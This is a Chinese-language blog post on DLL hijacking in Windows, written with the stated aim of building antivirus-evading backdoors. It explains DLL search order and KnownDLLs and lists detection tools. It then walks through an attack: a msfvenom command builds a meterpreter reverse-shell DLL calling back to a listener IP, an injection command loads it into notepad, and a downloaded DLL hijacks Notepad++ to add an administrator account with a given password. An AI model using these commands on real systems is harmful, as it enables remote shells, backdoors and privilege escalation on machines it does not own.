最近在搞內網,需要實現免殺后門,大佬推薦了dll劫持,DLL劫持后,能干很多事情,比如殺軟對某些廠商的軟件是實行白名單的,你干些敏感操作都是不攔截,不提示的。還有留后門,提權等等。本文主要介紹如何檢測dll劫持,以及實例演示。
DLL劫持
dll文件是什么?
DLL(Dynamic Link Library)文件為動態鏈接庫文件,又稱"應用程序拓展",是軟件文件類型。在Windows中,許多應用程序並不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即DLL文件,放置於系統中。當我們執行某一個程序時,相應的DLL文件就會被調用。一個應用程序可使用多個DLL文件,一個DLL文件也可能被不同的應用程序使用,這樣的DLL文件被稱為共享DLL文件。
如果在進程嘗試加載一個DLL時沒有指定DLL的絕對路徑,那么Windows會嘗試去按照順序搜索這些特定目錄時下查找這個DLL,只要黑客能夠將惡意的DLL放在優先於正常DLL所在的目錄,就能夠欺騙系統優先加載惡意DLL,來實現"劫持"
dll原理利用
windows xp sp2之前
Windows查找DLL的目錄以及對應的順序:
1. 進程對應的應用程序所在目錄;
2. 當前目錄(Current Directory);
3. 系統目錄(通過 GetSystemDirectory 獲取);
4. 16位系統目錄;
5. Windows目錄(通過 GetWindowsDirectory 獲取);
6. PATH環境變量中的各個目錄;
例如:對於文件系統,如doc文檔打開會被應用程序office打開,而office運行的時候會加載系統的一個dll文件,如果我們將用惡意的dll來替換系統的dll文件,就是將DLL和doc文檔放在一起,運行的時候就會在當前目錄中找到DLL,從而優先系統目錄下的DLL而被執行。
windows xp sp2之后
Windows查找DLL的目錄以及對應的順序(SafeDllSearchMode 默認會被開啟):
默認注冊表為:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其鍵值為1
1. 進程對應的應用程序所在目錄(可理解為程序安裝目錄比如C:\ProgramFiles\uTorrent)
2. 系統目錄(即%windir%system32);
3. 16位系統目錄(即%windir%system);
4. Windows目錄(即%windir%);
5. 當前目錄(運行的某個文件所在目錄,比如C:\Documents and Settings\Administrator\Desktop\test);
6. PATH環境變量中的各個目錄;
windows 7 以上版本
系統沒有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此項下的DLL文件就會被禁止從exe自身所在的目錄下調用,而只能從系統目錄即SYSTEM32目錄下調用,其注冊表位置:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
那么最終Windows2003以上以及win7以上操作系統通過“DLL路徑搜索目錄順序”和“KnownDLLs注冊表項”的機制來確定應用程序所要調用的DLL的路徑,之后,應用程序就將DLL載入了自己的內存空間,執行相應的函數功能。
- 默認情況下,如果軟件安裝在c盤根目錄,而不是c:\Program Files,那經過身份驗證的用戶具有該目錄的寫權限,另外,perl,python,ruby等軟件通常都添加到path變量中。那攻擊者可以在當前目錄中編寫惡意DLL,只要重新運行exe程序就會中招。
- SafeDllSearchMode + KnownDLLs二者結合可用來防范dll劫持,但是如果調用"不常見"的dll,也就是並未出現在KnownDLLs的列表中,那么無論SafeDllSearchMode是否開啟,dll搜索的第一順序均為程序的當前目錄,這里就存在一個DLL劫持漏洞(在程序同級目錄下預先放置一個同名dll,在進程啟動的過程中會優先加載,實現劫持。
dll劫持檢查
Process Explorer
下載地址:https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer
使用process explorer檢查exe程序主要加載的dll文件,這里使用 notepad++ v6.0.exe 作演示:
這里發現應用程序notepad++加載的dll文件為SciLexer.dll。而這個dll文件在KnownDLLs中無法找到:
那意味着notepad++.exe程序啟動時可以從自身所在目錄下調用SciLexer.dll文件,這就存在dll劫持的風險
DLL Hijack Auditor(DLL劫持審計器)
下載地址:http://securityxploded.com/getsoftware_direct.php?id=7777
emmm....當然誤報率比較高
rattler
下載地址:https://github.com/sensepost/rattler/releases
首推3gstudent師傅的文章:DLL劫持漏洞自動化識別工具Ratter
rattler可以枚舉進程調用的dll列表,識別應用程序哪些dll容易受到DLL預加載攻擊
dll_hijack_detect
下載地址:https://github.com/adamkramer/dll_hijack_detect/releases
可以檢測Windows系統上正在運行的進程中的DLL劫持,不過效果...嘿嘿嘿
InjectProc實現自動注入dll
下載地址:https://github.com/secrary/InjectProc/releases
親測在windows7 x64機器上無法使用
稍后具體演示注入流程...
驗證劫持系統DLL漏洞步驟
1.啟動應用程序
2.使用Process Explorer等類似軟件查看該應用程序啟動后加載的動態鏈接庫
3.從該應用程序已加載的DLL列表中,查找在KnowsDLLs注冊表項不存在的DLL
4.編寫上一步獲取到的DLL的劫持DLL
5.將編寫好的劫持DLL放到該應用程序目錄下,重新啟動該應用程序,檢查是否劫持成功
DLL劫持漏洞利用場景
首先使用msfvenom生成dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.153 LPORT=5555 -f dll >SciLexer.dll
打開msf,並開啟監聽:
將生成的dll文件,丟到目標機器中,打開筆記本,也就是notepad.exe程序,輸入以下命令:
InjectProc.exe dll_inj joker.dll notepad.exe
發現kali已經得到了目標shell
-------------------------------------------------------------------------
補充:
今天看了大佬的文章:Notepad++劫持提權 感覺好流弊
上述我們已經分析過程序notepad++.exe v6.0啟動所調用的SciLexer.dll是存在劫持風險的,
下面利用使用大佬的dll文件進行劫持
工具鏈接: https://pan.baidu.com/s/1uTQDG-4up8TG96Infsvwnw
提取碼: ki6
將大佬的dll文件重命名為存在劫持風險的dll文件,劫持前:
以管理員身份運行notepad++
成功添加管理員webbaozi/webbaozi!@#123
參考鏈接: